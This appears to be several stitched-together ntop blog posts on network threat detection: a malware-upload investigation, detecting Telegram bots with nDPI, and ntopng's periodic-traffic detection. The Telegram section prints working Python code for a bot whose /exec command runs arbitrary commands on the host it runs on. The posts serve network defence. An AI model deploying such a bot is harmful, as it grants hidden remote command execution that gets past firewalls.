Exploring the host flows we see that out local infected host BACHMAN-BTO-PC is uploading data via HTTP to 170.238.117.187

This looks even more suspicious. Let’s analyse this host that is very bad as ntopng marks it as blacklisted, being his IP listed on a blacklist ntopng has accessed (see this page for learning more about ntopng blacklists).

In order to complete our investigations, let’s check the reputation of this host 170.238.117.187 by clicking on the VirusTotal icon that bring us to this page

Our analysis is over. We have identified the local infected host, and where it is uploading our files.

Are you interested in knowing more about nDPI and traffic analysis? You can join us this week, May 14th 14:30 CET at RIPE 80. The presentation will be delivered from remote: just register for the RIPE meeting and enjoy it from wherever you are.

Enjoy analysing malware network traffic with nDPI and ntopng.

Botnets are a popular way to run malware on a network using the command and control paradigm. Popular protocols used by botnets include IRC and HTTP. Most IDSs can detect bots as long as they can inspect the network traffic. This makes networks administrators blind when bots move to encrypted and cloud-based (i.e. that you cannot block with a simple IP-based ACL) protocols. The popular Telegram messaging system allows people to create a bot in minutes as shown in the code excerpt below.

bot = Bot(token)


def run():
    """ Runs the function used to start the bot.
    """

    MessageLoop(bot,
                { 'chat': on_chat_message }
                ).run_as_thread()

    print('Listening ...')

    while 1:
        time.sleep(10)

####################################################################

def help(bot, chat_id):
    bot.sendMessage(chat_id, 'Available commands:')
    bot.sendMessage(chat_id, '/exec    Execute remote command')

####################################################################

def run_command(command):
    p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    return p.stdout.read().decode('utf-8')

####################################################################

def on_chat_message(msg):
    """ Manages the predefined commands of the telegram bot.

    :param msg: message received from telegram.
    """

    #print(msg)
    content_type, chat_type, chat_id = glance(msg)

    #
    # Check if the content_type of the message is a text
    if content_type == 'text':
        txt = msg['text'].lower()

        #
        # Switch construct to manage the various commands
        if txt.startswith("/exec"):
            cmd = txt[6:]
            bot.sendMessage(chat_id, 'Executing command ['+cmd+']...')
            bot.sendMessage(chat_id, run_command(cmd.split(' ')))
        else:
            help(bot, chat_id)

run()

As you can see you can start the bot on a remote system and execute arbitrary commands.

Suppose now that one of your coworker leaves this simple bot running behind a network. The firewall will see this traffic as TLS-like traffic on port 443 or with the and let it go.

As you can see from the above image, this Telegram traffic looks like TLS but it is not TLS where you can leverage detection on certificates, JA3 etc. You can imagine the consequences of having these simple tools running on a network. In essence your network is exposed, and firewalls, popular non-DPI based IDSs such as Suricata or Zeek cannot do much against this.

Fortunately nDPI can detect it

Detected protocols:
    Telegram             packets: 156           bytes: 44034         flows: 2            


Protocol statistics:
    Acceptable                   44034 bytes

    1	TCP 192.168.1.110:52671 <-> 149.154.167.91:443 [proto: 91.185/TLS.Telegram][cat: Chat/9][76 pkts/9307 bytes <-> 74 pkts/33973 bytes][Goodput ratio: 46/86][3.75 sec][bytes ratio: -0.570 (Download)][IAT c2s/s2c min/avg/max/stddev: 0/0 58/59 1817/1852 264/272][Pkt Len c2s/s2c min/avg/max/stddev: 66/70 122/459 846/1294 133/446]
    2	TCP 192.168.1.110:52672 <-> 149.154.167.91:443 [proto: 91.185/TLS.Telegram][cat: Chat/9][4 pkts/445 bytes <-> 2 pkts/309 bytes][Goodput ratio: 38/55][0.07 sec][bytes ratio: 0.180 (Mixed)][IAT c2s/s2c min/avg/max/stddev: 0/36 23/36 35/36 16/0][Pkt Len c2s/s2c min/avg/max/stddev: 66/74 111/154 235/235 72/80]

so all our ntop tools (e.g. ntopng, nprobe…. ) can handle that. Now you have realised that you are no longer bling, you have two options on the table

• Visibility (for instance with ntopng)
• Block this traffic using ntopng Edge.

In ntopng you have the ability to specify what protocols a certain device can run.

So you can generate an alert in case a critical host (e.g. a server) runs unwanted protocols, this including all those supported by nDPI hence including Telegram.

If you want to see more security-oriented alerts, you can customise the user scripts and enable those behavioural checks you are interested in.

We hope this can help to keep your network safe, and network administrators no longer blind.

Enjoy!

Most people are used to top X: top senders, top receivers, top protocols. So in essence they are looking for elephants. While this is a good practice, mice are also very interesting as they can often be hidden in the noise. In cybersecurity noise is very good for attackers as they often try to hide themselves on it; this is in order to escape security. Many malware are programmed on a for loop fashion: do a), do b) do c) then go back to a) on an infinite loop. In essence this is a periodic activity that is worth to be investigated (see similar studies on this subject [1], [2], [3], [4]), but the standard top X analysis tools fall short in detecting it, so we need something more sophisticated. For this reason we have implemented a new feature in ntopng that can detect this behaviour and many other things.

In order to enable this feature, you need a recent version of ntopng (this feature is present only in the pro/enterprise edition dev builds and it will be integrated int he next stable release), and enable the corresponding preference.

then you need to restart ntopng and wait until it detects some periodic behaviour is detected.

How Periodic Traffic Detection Works

A traffic is considered to be periodic if it repeats regularly over time with a specified frequency. Periodicity is not computed at flow level as ephemeral ports will jeopardise the work, but on a triplet <L4 protocol, IP source, IP destination/SNI>. In particular the SNI is very relevant to detect periodicity on cloud services where the same SNI is served by different server IP addresses. In order to avoid generating too much noise, multicast and broadcast destination IP addresses are ignored as in LANs there are many periodic services that might confuse network analysts. ntopng accounts triplets and determines the frequency based on the flow creation time. Some flows can have a frequency of 1 minute, others of one hour: ntopng will detect it automatically without people having to configure anything. Little frequency drifts are handled automatically and accounted by ntopng.

A triplet is marked as periodic with a given frequency, if ntopng has been able to observe it at least 3 times with a stable frequency (i.e. if the frequency is 1 hour you need to wait about 3 hours before ntopng reports you anything). In order to limit  memory usage, ntopng accounts periodicities up to one hour but future versions can raise this limit that is set only to limit memory usage and not an algorithm limitation. If ntopng detects periodic traffic, this information is reported on the user interface under the interface page

As you can see the application protocol, ports and frequency are reported.

Using Periodicity to Detect Threats

Not that you know more about periodic traffic you might wonder if this is just curiosity or more than that. Have a look at these two images below.

Let’s analyse the SSH traffic to see what is happening. As you can see ntopng has detected periodic communications that we pretty suspicious. this in particular if you look at the SSH ports, some of which are not standard. They can hide monitoring applications or other some kind of nasty behaviour

Interesting information can also come from Unknown periodic traffic (you could do the same looking at other protocols such as IRC for instance that are often used by malwares) is is very suspicious.

We hope you can find interesting insights on your network using this new feature. We plan to extend it with alerts, that can help network analysts to do in-depth analysis without having to deep dive into periodic data that can be pretty large for a big network.

Enjoy!